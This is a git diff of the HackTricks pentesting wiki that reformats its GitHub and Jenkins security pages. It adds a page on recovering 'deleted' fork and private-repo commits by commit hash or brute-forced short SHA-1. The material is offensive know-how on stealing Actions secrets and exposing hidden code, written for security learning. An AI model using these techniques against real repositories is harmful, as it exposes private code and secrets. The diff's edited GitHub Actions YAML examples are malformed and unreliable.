-The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
-{% endhint %}
+> [!WARNING]
+> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
 
 ## Tools
 
 The following tools are useful to find Github Action workflows and even find vulnerable ones:
 
-* [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
-* [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
-* [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
-* [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
+- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
+- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
+- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
+- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
similarity index 100%
rename from pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
rename to src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
diff --git a/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
similarity index 100%
rename from pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
rename to src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
diff --git a/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
similarity index 100%
rename from pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
rename to src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
new file mode 100644
index 000000000..879983075
--- /dev/null
+++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
@@ -0,0 +1,56 @@
+# Accessible Deleted Data in Github
+
+{{#include ../../banners/hacktricks-training.md}}
+
+This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
+
+## Accessing Deleted Fork Data
+
+1. You fork a public repository
+2. You commit code to your fork
+3. You delete your fork
+
+> [!CAUTION]
+> The data commited in the deleted fork is still accessible.
+
+## Accessing Deleted Repo Data
+
+1. You have a public repo on GitHub.
+2. A user forks your repo.
+3. You commit data after they fork it (and they never sync their fork with your updates).
+4. You delete the entire repo.
+
+> [!CAUTION]
+> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
+
+## Accessing Private Repo Data
+
+1. You create a private repo that will eventually be made public.
+2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public.
+3. You make your “upstream” repository public and keep your fork private.
+
+> [!CAUTION]
+> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
+
+## How to discover commits from deleted/hidden forks
+
+The same blog post propose 2 options:
+
+### Directly accessing the commit
+
+If the commit ID (sha-1) value is known it's possible to access it in `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
+
+### Brute-forcing short SHA-1 values
+
+It's the same to access both of these:
+
+- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
+- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
+
+And the latest one use a short sha-1 that is bruteforceable.
+
+## References
+
+- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
similarity index 62%
rename from pentesting-ci-cd/github-security/basic-github-information.md
rename to src/pentesting-ci-cd/github-security/basic-github-information.md
index a4cabaef3..1fe92dd5c 100644
--- a/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -1,19 +1,6 @@
 # Basic Github Information
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Basic Structure
 
@@ -29,58 +16,58 @@ And finally **repositories may have special protection mechanisms**.
 
 ### Enterprise Roles
 
-* **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
-* **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
+- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
+- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
 
 ### Organization Roles
 
 In an organisation users can have different roles:
 
-* **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
-* **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
-* **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
-* **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
-  * If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
-* **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
-* **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
+- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
+- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
+- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
+- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
+  - If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
+- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
+- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
 
 You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
 
 ### Members Privileges
 
-In _https://github.com/organizations/\<org\_name>/settings/member\_privileges_ you can see the **permissions users will have just for being part of the organisation**.
+In _https://github.com/organizations/\<org_name>/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
 
 The settings here configured will indicate the following permissions of members of the organisation:
 
-* Be admin, writer, reader or no permission over all the organisation repos.
-* If members can create private, internal or public repositories.
-* If forking of repositories is possible
-* If it's possible to invite outside collaborators
-* If public or private sites can be published
-* The permissions admins has over the repositories
-* If members can create new teams
+- Be admin, writer, reader or no permission over all the organisation repos.
+- If members can create private, internal or public repositories.
+- If forking of repositories is possible
+- If it's possible to invite outside collaborators
+- If public or private sites can be published
+- The permissions admins has over the repositories
+- If members can create new teams
 
 ### Repository Roles
 
 By default repository roles are created:
 
-* **Read**: Recommended for **non-code contributors** who want to view or discuss your project
-* **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
-* **Write**: Recommended for contributors who **actively push to your project**
-* **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
-* **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
+- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
+- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
+- **Write**: Recommended for contributors who **actively push to your project**
+- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
+- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
 
 You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
 
-You can also **create your own roles** in _https://github.com/organizations/\<org\_name>/settings/roles_
+You can also **create your own roles** in _https://github.com/organizations/\<org_name>/settings/roles_
 
 ### Teams
 
-You can **list the teams created in an organization** in _https://github.com/orgs/\<org\_name>/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
+You can **list the teams created in an organization** in _https://github.com/orgs/\<org_name>/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
 
 ### Users
 
-The users of an organization can be **listed** in _https://github.com/orgs/\<org\_name>/people._
+The users of an organization can be **listed** in _https://github.com/orgs/\<org_name>/people._
 
 In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
 
@@ -108,40 +95,40 @@ You can generate personal access token to **give an application access to your a
 
 Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
 
-* You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
-* You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
-* You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
-* You can see third party access of applications in an **organization** in _https://github.com/organizations/\<org\_name>/settings/oauth\_application\_policy_
+- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
+- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
+- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
+- You can see third party access of applications in an **organization** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
 
 Some **security recommendations**:
 
-* An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
-* An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
-* **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
-* **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
-* **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
+- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
+- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
+- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
+- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
+- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
 
 ### Github Applications
 
 Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
 
-* To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
-* The GitHub App should **connect to a personal account or an organisation**.
-* You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
-* You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
-* These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
-* You can see installed apps in an **organization** in _https://github.com/organizations/\<org\_name>/settings/installations_
+- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
+- The GitHub App should **connect to a personal account or an organisation**.
+- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
+- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
+- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
+- You can see installed apps in an **organization** in _https://github.com/organizations/\<org_name>/settings/installations_
 
 Some security recommendations:
 
-* A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
-* Make sure the GitHub App integrates with **specific repositories**.
-* The GitHub App should **connect to a personal account or an organisation**.
-* Don't expect the GitHub App to know and do everything a user can.
-* **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
-* Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
-* If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
-* **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
+- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- Make sure the GitHub App integrates with **specific repositories**.
+- The GitHub App should **connect to a personal account or an organisation**.
+- Don't expect the GitHub App to know and do everything a user can.
+- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
+- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
+- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
 
 ### Github Actions
 
@@ -153,11 +140,11 @@ Git actions allows to automate the **execution of code when an event happen**. U
 
 ### Configuration
 
-In _https://github.com/organizations/\<org\_name>/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
+In _https://github.com/organizations/\<org_name>/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
 
 It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
 
-It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB\_TOKEN** of a Github Action when it's run.
+It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
 
 ### Git Secrets
 
@@ -169,9 +156,9 @@ These secrets can be configured **for the repo or for all the organization**. Th
 steps:
   - name: Hello world action
     with: # Set the secret as an input
-      super_secret: ${{ secrets.SuperSecret }}
+      super_secret:${{ secrets.SuperSecret }}
     env: # Or as an environment variable
-      super_secret: ${{ secrets.SuperSecret }}
+      super_secret:${{ secrets.SuperSecret }}
 ```
 
 #### Example using Bash <a href="#example-using-bash" id="example-using-bash"></a>
@@ -179,17 +166,15 @@ steps:
 ```yaml
 steps:
   - shell: bash
-    env:
-      SUPER_SECRET: ${{ secrets.SuperSecret }}
+    env: SUPER_SECRET:${{ secrets.SuperSecret }}
     run: |
       example-command "$SUPER_SECRET"
 ```
 
-{% hint style="warning" %}
-Secrets **can only be accessed from the Github Actions** that have them declared.
+> [!WARNING]
+> Secrets **can only be accessed from the Github Actions** that have them declared.
 
-Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
-{% endhint %}
+> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
 
 Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
 
@@ -213,7 +198,7 @@ A Github Action can be **executed inside the github environment** or can be exec
 
 Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
 
-You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org\_name>/settings/actions/runners_
+You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
 
 The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
 
@@ -225,13 +210,12 @@ If the custom **Github Runner is configured in a machine inside AWS or GCP** for
 
 If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
 
-{% hint style="danger" %}
-A **malicious Github Action** run could be **abused** by the attacker to:
-
-* **Steal all the secrets** the Action has access to
-* **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
-* **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
-{% endhint %}
+> [!CAUTION]
+> A **malicious Github Action** run could be **abused** by the attacker to:
+>
+> - **Steal all the secrets** the Action has access to
+> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
+> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
 
 ## Branch Protections
 
@@ -239,48 +223,33 @@ Branch protections are designed to **not give complete control of a repository**
 
 The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
 
-{% hint style="info" %}
-It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
-{% endhint %}
+> [!NOTE]
+> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
 
 Different protections can be applied to a branch (like to master):
 
-* You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
-  * **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
-  * **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
-  * **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
-  * **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
-  * **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
-* **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
-* **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
-* **Require signed commits**. The commits need to be signed.
-* **Require linear history.** Prevent merge commits from being pushed to matching branches.
-* **Include administrators**. If this isn't set, admins can bypass the restrictions.
-* **Restrict who can push to matching branches**. Restrict who can send a PR.
+- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
+  - **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
+  - **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
+  - **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
+  - **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
+  - **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
+- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
+- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
+- **Require signed commits**. The commits need to be signed.
+- **Require linear history.** Prevent merge commits from being pushed to matching branches.
+- **Include administrators**. If this isn't set, admins can bypass the restrictions.
+- **Restrict who can push to matching branches**. Restrict who can send a PR.
 
-{% hint style="info" %}
-As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
-{% endhint %}
+> [!NOTE]
+> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
 
 ## References
 
-* [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
-* [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)
-* [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github)
-* [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards)
-* [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
+- [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
+- [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)
+- [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github)
+- [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards)
+- [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md
similarity index 68%
rename from pentesting-ci-cd/jenkins-security/README.md
rename to src/pentesting-ci-cd/jenkins-security/README.md
index e15154aab..944e9cdf9 100644
--- a/pentesting-ci-cd/jenkins-security/README.md
+++ b/src/pentesting-ci-cd/jenkins-security/README.md
@@ -1,27 +1,14 @@
 # Jenkins Security
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
 Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
 
-{% content-ref url="basic-jenkins-information.md" %}
-[basic-jenkins-information.md](basic-jenkins-information.md)
-{% endcontent-ref %}
+{{#ref}}
+basic-jenkins-information.md
+{{#endref}}
 
 ## Unauthenticated Enumeration
 
@@ -41,19 +28,21 @@ Without credentials you can look inside _**/asynchPeople/**_ path or _**/securit
 
 You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
 
-![](<../../.gitbook/assets/image (146).png>)
+![](<../../images/image (146).png>)
 
 ### Known Vulnerabilities
 
